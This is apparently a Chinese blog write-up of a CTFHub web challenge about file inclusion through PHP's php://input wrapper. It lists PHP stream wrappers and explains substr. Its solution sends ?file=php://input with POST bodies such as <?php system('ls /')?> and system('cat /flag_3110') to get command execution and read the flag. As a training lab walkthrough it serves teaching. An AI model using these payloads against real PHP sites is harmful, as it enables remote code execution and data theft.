CTFHUB-技能树-Web题-RCE(远程代码执行)-文件包含-php://input
前置知识—php伪协议
php支持的伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
文件包含—php://input
做题前先了解substr函数
函数语法:
substr(string,start,length)
参数介绍:
- string 必需。规定要返回其中一部分的字符串。
- start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始
- length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回
解题方法:
观察代码

代码中说如果file 名中六个字符是 “php://” 就执行后面的include函数
这里其实就应该想到的是php://伪协议
php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
而执行php://input伪协议条件是allow_url_include是On
查看phpinfo发现时allow_url_include是On
url?file=php://phpinfo


说明可以使用php://input伪协议
那么我们就开始做题
用brup抓包,放入重放器中
直接构造
file的值为php://input
也就是 ?file=php://input
post参数为
<?php system("ls")?>
因为php://input是执行后面的PHP命令所以要写成php代码形式

直接访问根目录
(也可以一级一级目录找
<?php system("ls ../")?>
<?php system("ls ../../")?>
)
,寻找flag
<?php system("ls /")?>

查看flag
system("cat /flag_3110")?>

4367

被折叠的 条评论
为什么被折叠?



